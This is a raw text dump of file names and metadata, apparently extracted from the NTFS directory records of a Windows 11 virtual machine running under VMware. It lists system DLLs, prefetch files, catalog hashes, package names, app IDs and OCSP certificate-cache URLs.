telemetry.P-ARIA-7005b72804a64fa4b2138faab88f877b-14cf798a-05a4-4b7b-9d02-4d99259ebd4a-7553.json DIAGTR~2 DiagTrackTraceSlot_aot $I300 UTCAGG~1.BK0 utc.aggregators.json.bk NISSRV~1.PF0 NISSRV.EXE-16D8D79C.pf vm3d.inf $DSC $DSC vm3dum_10-stats.dll $DSC $DSC $DSC vm3dum64_10.dll $DSC $DSC vm3dum64_loader.dll $DSC $DSC TARGET~1 TargetedContentCache $I300 TOKENB~1 TokenBroker $I300 Cache R0DE72~1.CLB R000000000006.clb COMREG~1.PF0 COMREG.EXE-B18E07FD.pf EHSTOR~1.PNF ehstortcgdrv.PNF VMTOOL~1.PF0 VMTOOLSD.EXE-90328040.pf NOTIFY~1.PNG NotifyIconGeneratedAumid_903919926664533083.png DL34A2~1.PF0 DLLHOST.EXE-A5357DB5.pf NotepadAppList.targetsize-60.png APPXME~1 AppxMetadata $I300 CodeIntegrity.cat CODEIN~1.CAT RU76E3~1.PF0 RUNTIMEBROKER.EXE-17728757.pf USEROO~1.PF0 USEROOBEBROKER.EXE-65584ADF.pf ICONCA~1.DB0 IconCache.db CVERSI~2.DB0 cversions.1.db 000300~3 00030000000259C27EBE690F $I300 container.dat CONTAI~1.DAT MICROS~1 Microsoft $I300 CryptnetUrlCache CRYPTN~1 CRYPTN~1 CryptnetUrlCache $I300 Content MetaData MetaData $I300 $I30 $I30 77EC63~10AF E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 E2C6CB~1 E2C6CB~1 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D FB0D84~1 FB0D848F74F70BB2EAA93746D24D9749 http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab FB0D84~1 FB0D848F74F70BB2EAA93746D24D9749 RUFA7A~1.PF0 RUNTIMEBROKER.EXE-12A7207A.pf MPAM-F~1.PF0 MPAM-FE.EXE-8506E18C.pf MI6518~1.EVT Microsoft-Windows-WindowsBackup%4ActionCenter.evtx MIE68D~1.EVT Microsoft-Windows-Diagnosis-Scheduled%4Operational.evtx CONCRT~1.DLL concrt140.dll msvcp140.dll vcamp140.dll VCCORL~1.DLL vccorlib140.dll vcomp140.dll VCRUNT~1.DLL vcruntime140.dll VCRUNT~2.DLL vcruntime140_1.dll VCRUNT~3.DLL vcruntime140_threads.dll 58a8f.msi MIBF8A~1.EVT Microsoft-Windows-FileHistory-Core%4WHC.evtx MFC140~3.DLL mfc140deu.dll MFC140~4.DLL mfc140enu.dll MF9310~1.DLL mfc140esn.dll MF6461~1.DLL mfc140fra.dll mfc140u.dll mfcm140.dll mfcm140u.dll 58a93.msi VCREDI~2.PF0 VCREDIST_X86.EXE-A9DD70F6.pf DLA53C~1.PF0 DLLHOST.EXE-D200FEC3.pf VCREDI~3.PF0 VCREDIST_X64.EXE-A52B6D54.pf VCREDI~4.PF0 VCREDIST_X64.EXE-B84D1972.pf VCRUNT~1.DLL vcruntime140.dll WofCompressedData E2C6CB~3 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D DOMAIN~1.DLL domain_actions.dll MANIFE~1.JSO manifest.json NotepadAppList.targetsize-24.png E2C6CB~3 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 SOB168~1 SourceHash{CA0D899F-C5C7-4C11-BEF9-83625FEF2C51} 2CB6B8~1 2CB6B8BACCDF3D4DD9099BF71ACA4698_EE14B9ED1AF48FBD7121C2218381A36D {02D4B~1.CRM {02D4B3F1-FD88-11D1-960D-00805FC79235}.{93BF5633-476C-4EA9-96A1-A2D2C767274A}.crmlog VMWARE~1.LOG vmware-vmtoolsd-SYSTEM.log VMWARE~2.LOG vmware-vmtoolsd-job.log VMWARE~3.LOG vmware-vmusr-job.log VMWARE~4.LOG vmware-vmsvc-SYSTEM.log VMWARE~1 vmware-SYSTEM $I300 oem8.PNF DTCTRA~1.202 dtctrace.log.2026-02-21-12-15-55-0762-00 IPCONF~1.PF0 IPCONFIG.EXE-BFEC2AD0.pf XENC-S~1.XSD xenc-schema.xsd Helium $I300 $I30 $I30 User.dat.LOG1 User.dat.LOG2 UserClasses.dat USERDA~1.LOG USERDA~2.LOG VMware $I300 VMware Tools VMWARE~1 NotepadAppList.targetsize-30.png FD0747~1 FD0747FA-22E1-45ED-BFA0-00E581BC419FMpCommU $I300 UpdatePlatform.exe- UPDATE~1.EXE UPDATE~1.EXE UpdatePlatform.exe WIB02A~1.ETL WindowsUpdate.20260220.081344.897.3.etl VMware $I300 $I30 $I30 RawdskCompatibility VMware Tools VMware VGAuth VMWARE~1 VMWARE~2 logs $I300 VMWARE~1 VMware Tools $I300 $I30 $I30 DEVICE~1.ADMxam tools.conf.example TOOLSC~1.EXA VMWARE~2 VMware VGAuth $I300 $I30 $I30 ALIASS~1 msgCatalogs MSGCAT~1 vgauth.conf ALIASS~1 aliasStore $I300 RAWDSK~1 RawdskCompatibility $I300 native virtual vmrawdsk.log VMWARE~1 VMware Tools $I300 hgfs.dllrvm sigc-3.0-0.dlle $I30 $I30 VMware VGAuth WIN://SYSAPPID MSTeams_8wekyb3d8bbwe WIN://SYSAPPID MSTeams_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe IMAGELOAD IMAGELOAD WIN://SYSAPPID Microsoft.VCLibs.140.00_8wekyb3d8bbwe WIN://PKG WIN://SYSAPPID Microsoft.VCLibs.140.00.UWPDesktop_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.VCLibs.140.00_8wekyb3d8bbwe sysmain.sdb0 sysmain.sdb WofCompressedData $DSC sysMerge.sdb sysMerge.sdb WofCompressedData $DSC sysMerge.sdb $DSC SYSMER~1.SDB sysMergeInboxStoreApp.sdb ?<<<<<<<<<<<<<<<<<< ?<<< <<<<<<< @` 0 @` 0p C @ @ 0 @ 00@` `88`0` ?|pp p8888888 ?8888888888888888888888 <8888 ~pppp ?xpp0xppppp0xppp0xppppppppppppppppppp0xp0xppppp0xpppppp0xppppp ~ppppppppp0x sppp ppppppp ~pppp0x ?8888 <888 ~p0x0xpppppp0xp0xppppp0` `p08 WIN://SYSAP WIN://SYSAPPID MicrosoftWindows.Client.AIX_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy WIN://SYSAPPID Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.Windows.Photos_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.XboxGamingOverlay_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.StorePurchaseApp_8wekyb3d8bbwe WIN://SYSAPPID MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy WIN://SYSAPPID Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.Windows.Photos_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.XboxGamingOverlay_8wekyb3d8bbwe WIN://SYSAPPID MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy WIN://SYSAPPID Microsoft.StorePurchaseApp_8wekyb3d8bbwe WIN://SYSAPPID MicrosoftWindows.Client.Photon_cw5n1h2txyewy WIN://SYSAPPID WIN://SYSAPPID Microsoft.HEIFImageExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.VP9VideoExtensions_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.ZuneMusic_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsTerminal_8wekyb3d8bbwe WIN://SYSAPPID Clipchamp.Clipchamp_yxz26nhyzhsrt WIN://SYSAPPID MicrosoftWindows.Client.FileExp_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Xbox.TCUI_8wekyb3d8bbwe WIN://SYSAPPID MicrosoftWindows.Client.OOBE_cw5n1h2txyewy WIN://SYSAPPID MicrosoftCorporationII. WIN://SYSAPPID MicrosoftWindows.Client.Core_cw5n1h2txyewy WIN://SYSAPPID Microsoft.GamingApp_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.BingSearch_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.BingWeather_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.MPEG2VideoExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.OutlookForWindows_8wekyb3d8bbwe ReAgent.xml ReAgent.xml imaadp32.acm $DSC $DSC imaadp32.acm imaadp32.acm WofCompressedData $DSC msadp32.acm $DSC $DSC msadp32.acm0 msadp32.acm WofCompressedData $DSC msg711.acm msg711.acm WofCompressedData $DSC msg711.acm $DSC msgsm32.acm $DSC $DSC msgsm32.acm0 msgsm32.acm WofCompressedData $DSC x86_installed X86_IN~1 x86_installed x86_installed $DSC amd64_installed0 AMD64_~1 amd64_installed0 amd64_installed $DSC WofCompressedData $DSC COREPR~1.DLL COREPR~1.DLL CorePrivacySettingsStore.dll $DSC $DSC COREPR~1.DLL CorePrivacySettingsStore.dll $DSC $DSC CoreUIComponents.dll COREUI~1.DLL CoreUIComponents.dll WofCompressedData $DSC $DSC CREDPR~1.DLL credprovslegacy.dll0 credprovslegacy.dll WofCompressedData $DSC $DSC CREDPR~1.DLL credprovslegacy.dll $DSC $DSC credui.dll $DSC $DSC credui.dll credui.dll WofCompressedData $DSC credui.dll $DSC credui.dll credui.dll WofCompressedData $DSC crypt32.dll0 crypt32.dll WofCompressedData $DSC crypt32.dll0 crypt32.dll WofCompressedData $DSC $DSC crypt32.dll WofCompressedData $DSC crypt32.dll WofCompressedData $DSC CRYPTB~1.DLL cryptbase.dll cryptbase.dll WofCompressedData $DSC $DSC CRYPTB~1.DLL cryptbase.dll $DSC $DSC cryptext.dll $DSC cryptext.dll cryptext.dll WofCompressedData $DSC cryptnet.dll cryptnet.dll WofCompressedData $DSC $DSC cryptnet.dll $DSC $DSC cryptoss.dll cryptoss.dll WofCompressedData $DSC cryptoss.dll WofCompressedData $DSC cryptsp.dll0 cryptsp.dll WofCompressedData $DSC cryptsp.dll $DSC $DSC cryptsp.dll0 cryptsp.dll WofCompressedData $DSC $DSC cryptsp.dll $DSC $DSC WofCompressedData $DSC cryptsvc.dll $DSC cryptsvc.dll $DSC $DSC cryptui.dll0 cryptui.dll WofCompressedData $DSC cryptui.dll $DSC $DSC cryptxml.dll cryptxml.dll WofCompressedData $DSC $DSC cryptxml.dll $DSC $DSC d2d1.dll d2d1.dll WofCompressedData $DSC d2d1.dll WofCompressedData $DSC dab.dll $DSC $DSC dab.dll0 dab.dll WofCompressedData $DSC dbgeng.dll dbgeng.dll WofCompressedData $DSC dbghelp.dll0 dbghelp.dll WofCompressedData $DSC dbghelp.dll WofCompressedData $DSC dbghelp.dll WofCompressedData $DSC devobj.dll devobj.dll devobj.dll WofCompressedData $DSC devobj.dll devobj.dll WofCompressedData $DSC devrtl.dll devrtl.dll WofCompressedData $DSC devrtl.dll devrtl.dll WofCompressedData $DSC dhcpcsvc.dll dhcpcsvc.dll WofCompressedData $DSC $DSC dhcpcsvc.dll dhcpcsvc.dll WofCompressedData $DSC $DSC dhcpcsvc.dll WofCompressedData $DSC DHCPCS~1.DLL dhcpcsvc6.dll $DSC $DSC DHCPCS~1.DLL dhcpcsvc6.dll $DSC $DSC DHCPCS~1.DLL dhcpcsvc6.dll dhcpcsvc6.dll WofCompressedData $DSC $DSC DHCPCS~1.DLL dhcpcsvc6.dll dhcpcsvc6.dll WofCompressedData $DSC $DSC DIAGNO~1.DLL diagnosticdataquery.dll $DSC DIAGNO~1.DLL DiagnosticDataSettings.dll DiagnosticDataSettings.dll WofCompressedData $DSC $DSC DIAGNO~1.DLL DiagnosticDataSettings.dll $DSC $DSC DIAGNO~1.DLL DiagnosticDataSettings.dll $DSC $DSC WofCompressedData $DSC DIAGTR~1.DLL diagtrack.dll $DSC difxapi.dll $DSC DIRECT~1.DLL directmanipulation.dll directmanipulation.dll WofCompressedData $DSC $DSC DIRECT~1.DLL directmanipulation.dll WofCompressedData $DSC DismApi.dll WofCompressedData $DSC 015B73~1.CAT 015b7320a6886443265f0dc805c3f3ef80159a5aa6787d7318b945fe82994617.cat WofCompressedData $DSC dnsapi.dll dnsapi.dll WofCompressedData $DSC 05F78A~1.CAT 05f78a953ce4a076a91c2598cd7ef1d95cc7c72f9eb6d058881c9670eccf7d21.cat WofCompressedData $DSC dnsapi.dll dnsapi.dll WofCompressedData $DSC $DSC 165E89~1.CAT 165e89d5dcd30f9956fd32c69be2231faf766502d2d9dfe16274156cce375e89.cat WofCompressedData $DSC dpapi.dll dpapi.dll WofCompressedData $DSC 16C04F~1.CAT 16c04fd3384fbd221ee3650c6b0c451078c43979a05cf2bb4bc6accc0e00aad1.cat WofCompressedData $DSC dpapi.dll dpapi.dll WofCompressedData $DSC 3AE2D6~1.CAT 3ae2d6b16743cf36db62877e25e96a7affdd31c0103c8c44e667bb17f7f5424d.cat WofCompressedData $DSC dsreg.dll dsreg.dll WofCompressedData $DSC $DSC 3C22C3~1.CAT 3c22c3be4f1ad00e3cd839db3c22da1c8ff090274497b04beec98185d4c9c614.cat WofCompressedData $DSC dsreg.dll WofCompressedData $DSC 3C55F5~1.CAT 3c55f5ef3f00cb1852e0f59e1b4ed4b18e286f8c4cd39293457a6851263053e4.cat WofCompressedData $DSC dsrole.dll dsrole.dll WofCompressedData $DSC 3CCE5D~1.CAT 3cce5dff2ff9c9fcb57bb4497d9c8a61a547d554067155afc526cc165abbaa7e.cat WofCompressedData $DSC dsrole.dll dsrole.dll WofCompressedData $DSC dMicrosoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat dMicrosoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 0C4657~1.CAT 0c46572a96c127d8cf1699fc1030446e63c163653f132321cc356886552084bb.cat WofCompressedData $DSC $DSC \Microsoft-OneCore-Multimedia-MFPMP-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Microsoft-OneCore-Multimedia-MFPMP-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 0C548E~1.CAT 0c548e72c625ceeb8531edcd0bbf5fb4d1f165d32d32e2c0c79ff770f198b7eb.cat WofCompressedData $DSC 0D8646~1.CAT 0d8646cf3f9b8acb1826edf6339af9b4b672302824375a5b22cfdad6a13d58f3.cat WofCompressedData $DSC $DSC XMicrosoft-Windows-PowerShell-ISE-FOD-Package~31bf3856ad364e35~wow64~~10.0.26100.1742.cat XMicrosoft-Windows-PowerShell-ISE-FOD-Package~31bf3856ad364e35~wow64~~10.0.26100.1742.cat 0DBE97~1.CAT 0dbe974e548a77bb7b7f6daf51d124664052273f3f88091c11fa32909b881bdc.cat $DSC fMicrosoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat fMicrosoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat 0F650E~1.CAT 0f650eb37a5272a6cc5bd191b226871ddf4d3bc44732588004436881416e2c58.cat WofCompressedData $DSC WofCompressedData $DSC SMicrosoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat0 SMicrosoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 0F671F~1.CAT 0f671f94b444843ad61d0ed90c89fb6771698e1d35557f3a8cbcbb803379545a.cat WofCompressedData $DSC \Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat 0FD961~1.CAT 0fd9616761fc0bed977ecca9a070f0d537109195df1d009da8ec65093e067f97.cat WofCompressedData $DSC fMicrosoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat fMicrosoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat 103447~1.CAT 103447e59eed5c3322e4ec579397f45c2b4c57d22a4a1e27e7b7457b86c97a8b.cat $DSC WMicrosoft-Windows-SensorDataService-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat0 WMicrosoft-Windows-SensorDataService-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat $DSC 105BCB~1.CAT 105bcbecb1342eabd722b031fa0f8d3f95c650b63cdb9fcd0a35e7c6b8ac3b2a.cat WofCompressedData $DSC $DSC dMicrosoft-Windows-Embedded-UnifiedWriteFilterCSP-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat dMicrosoft-Windows-Embedded-UnifiedWriteFilterCSP-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat 10600A~1.CAT 10600a0395d0f773cc7fc0cf57f19e5395b95e73d3cec71049420706a1dfc647.cat WofCompressedData $DSC fMicrosoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat fMicrosoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat 106674~1.CAT 106674878e9926a373540a6187728df3cc455ffb341a7f15979e0af1ba42083c.cat WofCompressedData $DSC dMicrosoft-Windows-TerminalServices-WMIProvider-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat dMicrosoft-Windows-TerminalServices-WMIProvider-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 107523~1.CAT 107523c3ee086bbbbfed6b0a89bcd29e18858e0da88d33976931269a2ebb5d53.cat WofCompressedData $DSC bMicrosoft-Windows-BootEnvironment-Core-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat bMicrosoft-Windows-BootEnvironment-Core-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat WofCompressedData $DSC AMSMQ-Driver-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat AMSMQ-Driver-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat $DSC 110DDF~1.CAT 110ddf5c581f1b5b1d18386c98b36330e19d2ed1b19a4725cca1b399b2878b06.cat WofCompressedData $DSC ^Microsoft-Windows-CoreSystem-DXG-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat ^Microsoft-Windows-CoreSystem-DXG-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat 112117~1.CAT 112117ce19daca422c49a17a4184bacf4fe8cfc564036e45a2ce46189f43f2ad.cat WofCompressedData $DSC ^Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat ^Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat 13C82E~1.CAT 13c82e94c98c4a302c9fef07b1b35493ee715f70bba0ec1373fcec2f8f9723ff.cat WofCompressedData $DSC $DSC bHyperV-UX-PowerShell-Module-HyperV-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat bHyperV-UX-PowerShell-Module-HyperV-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat 13EC4F~1.CAT 13ec4fd936f490242356cf9bc4f6cd9593254aaae1dc70c232626534dc31c274.cat WofCompressedData $DSC 1441C1~1.CAT 1441c12be4495d159ac1c809bdf04bb1ddcaa44db7c91e59a2480c371285555f.cat WofCompressedData $DSC _Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 _Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 144A55~1.CAT 144a55884e3f2993834674e982a85a4e8790c5d0a10b9c2f10b49f006dfe45fc.cat WofCompressedData $DSC pMicrosoft-Windows-Multimedia-RestrictedCodecs-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat pMicrosoft-Windows-Multimedia-RestrictedCodecs-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat 15428C~1.CAT 15428c6790c351efc0a56e46839bfd9bfbd9c3d896901f3c66442abc23a64629.cat WofCompressedData $DSC `Microsoft-Windows-Network-Security-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3915.cat `Microsoft-Windows-Network-Security-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3915.cat 1568EE~1.CAT 1568ee1cbda0332bb6911b4084f6dc3bd7eade800ffd638228dd7b48439f113f.cat WofCompressedData $DSC \HyperV-Networking-VirtualDevice-Emulated-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat \HyperV-Networking-VirtualDevice-Emulated-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat 1935D4~1.CAT 1935d4c972935ca22176975b27e6d8389afc3573678506e9152a1deb21d31649.cat WofCompressedData $DSC jMicrosoft-Client-License-Platform-Upgrade-Subscription-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat jMicrosoft-Client-License-Platform-Upgrade-Subscription-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat 194963~1.CAT 19496386f9cbcd01a78fca627bb9478e8ef9d99f1b5dd399014910827009e414.cat WofCompressedData $DSC WofCompressedData $DSC MRunlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat MRunlevel-Win4-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat WofCompressedData VMicrosoft-OneCore-IsolatedUserMode-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat MIA96A~1.CAT WofCompressedData A4FA8A~1.CAT a4fa8a6c5ea4e8c2d891aae5ea7704209d64244835858fb9afc6704f8bf0b6f7.cat WofCompressedData $DSC WofCompressedData VMicrosoft-OneCore-IsolatedUserMode-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat MID369~1.CAT WofCompressedData A51CCD~1.CAT a51ccdb69654ba9a95d429e946917ec2aa76e5ef5832504f692f459d5a621cf2.cat WofCompressedData $DSC NMicrosoft-OneCore-Pnp-Full-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat MI48FA~1.CAT Microsoft-OneCore-Pnp-Full-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat WofCompressedData A656B2~1.CAT a656b27d73ee3cfcdf43af1dc84d6ec8b6b975e5bcf705dd2defc29e240f9f2f.cat WofCompressedData $DSC WofCompressedData VMicrosoft-OneCore-Pnp-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat MI2F37~1.CAT WofCompressedData A6580C~1.CAT a6580c80fcabe5a52bc405c4d4abe1864226926cbcc0b6966ffd82e2f1d4500d.cat WofCompressedData $DSC WofCompressedData YMicrosoft-UtilityVM-Containers-Shared-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat MI67E2~1.CAT WofCompressedData AB317C~1.CAT ab317cbe8dbd55a58daf8d0a4afadd72ac5cab2ab4b3de54d2eae603ee9759da.cat WofCompressedData $DSC WofCompressedData YMicrosoft-UtilityVM-Containers-Shared-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat MIE616~1.CAT WofCompressedData AB319C~1.CAT ab319c7324b3eb9d466e4c3a595e041ac8e2773d86e54d97f968676059aab24f.cat WofCompressedData $DSC AE31B0~1.CAT ae31b08ac909a95b622b0995aa6da825405c9d4c5557fe0d6e0891a216e54f11.cat WofCompressedData $DSC WofCompressedData fMicrosoft-Windows-AppServerClient-OptGroup-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cat MIEB85~1.CAT WofCompressedData AE582E~1.CAT ae582e66c9d78f1879e425fffbbe9a8cbda8186db9ad6191a87a710e179938eb.cat WofCompressedData $DSC WofCompressedData iMicrosoft-Windows-AppServerClient-OptGroup-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.7623.cat MID8B5~1.CAT WofCompressedData USBSTOR.SYS $DSC $DSC usbuhci.sys0 usbuhci.sys0 usbuhci.sys WofCompressedData $DSC usbuhci.sys $DSC USBXHCI.SYS0 USBXHCI.SYS0 USBXHCI.SYS WofCompressedData $DSC vhdmp.sys $DSC $DSC vhdmp.sys vhdmp.sys vhdmp.sys WofCompressedData $DSC vhf.sys0 vhf.sys0 vhf.sys WofCompressedData $DSC vhf.sys $DSC $DSC vmbkmcl.sys0 vmbkmcl.sys WofCompressedData $DSC vmbus.sys $DSC $DSC vmbus.sys vmbus.sys vmbus.sys WofCompressedData $DSC VMBusHID.sys $DSC VMBusHID.sys VMBusHID.sys VMBusHID.sys WofCompressedData $DSC vmstorfl.sys $DSC $DSC wldap32.dll.mui0 wldap32.dll.mui0 wldap32.dll.mui WofCompressedData $DSC vmstorfl.sys vmstorfl.sys vmstorfl.sys WofCompressedData $DSC vsmraid.sys0 vsmraid.sys0 vsmraid.sys WofCompressedData $DSC wmiutils.dll.mui wmiutils.dll.mui wmiutils.dll.mui WofCompressedData $DSC VSTXRAID.SYS VSTXRAID.SYS VSTXRAID.SYS WofCompressedData $DSC wacompen.sys wacompen.sys wacompen.sys WofCompressedData $DSC WIN32K~1.SYS win32kbase.sys win32kbase.sys WofCompressedData $DSC WIN32K~1.SYS win32kbase_rs.sys $DSC $DSC WIN32K~1.SYS win32kbase_rs.sys win32kbase_rs.sys WofCompressedData $DSC WIN32K~1.SYS win32kfull.sys win32kfull.sys WofCompressedData $DSC ykinx64.sys0 ykinx64.sys WofCompressedData $DSC activeds.tlb activeds.tlb WofCompressedData $DSC stdole2.tlb0 stdole2.tlb WofCompressedData $DSC stdole2.tlb0 stdole2.tlb WofCompressedData $DSC MEIRYO~4.TTF meiryon_boot_EX.ttf $DSC micross.ttf0 micross.ttf WofCompressedData $DSC micross.ttf $DSC $DSC MSJH_B~1.TTF msjh_boot.ttf msjh_boot.ttf WofCompressedData $DSC segoeuib.ttf segoeuib.ttf WofCompressedData $DSC segoeuib.ttf $DSC $DSC segoeuii.ttf segoeuii.ttf WofCompressedData $DSC segoeuii.ttf $DSC $DSC WofCompressedData $DSC UMicrosoft-Windows-CoreSystem-DISM-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat UMicrosoft-Windows-CoreSystem-DISM-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat $DSC 5E1495~1.CAT 5e149515be60644a81b961462065a12806696a8b286f132366e8cfa503c122ef.cat WofCompressedData $DSC `Microsoft-Windows-Client-Features-Package011120~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat `Microsoft-Windows-Client-Features-Package011120~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat 5E4DA4~1.CAT 5e4da43462f9be8b6e645f6a9d77e641201e84c1d7f674e736a4de085b41a0e2.cat WofCompressedData $DSC jMicrosoft-OneCore-SystemSettings-NetworkMobileHandlers-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat jMicrosoft-OneCore-SystemSettings-NetworkMobileHandlers-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat 60BFCC~1.CAT 60bfccd56c1967a9ad36707c6f35c2047d459dfcfcae1313e804291147ffaf15.cat WofCompressedData $DSC ^Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat ^Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat 60C494~1.CAT 60c494c7a24ea3177193381e25ed2e237a0419d5fd294ce019a5146aef7eb340.cat $DSC ZMicrosoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat ZMicrosoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat 62A8F1~1.CAT 62a8f1c5c0eea65241b3b214cb09ace7a6225345f501f67857225beda8a57433.cat WofCompressedData $DSC bMicrosoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat bMicrosoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat 62B109~1.CAT 62b109a05336dc89b6b429778df1659b0ee132f48ffdda7cd1a43adf7d096e9f.cat WofCompressedData $DSC gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat0 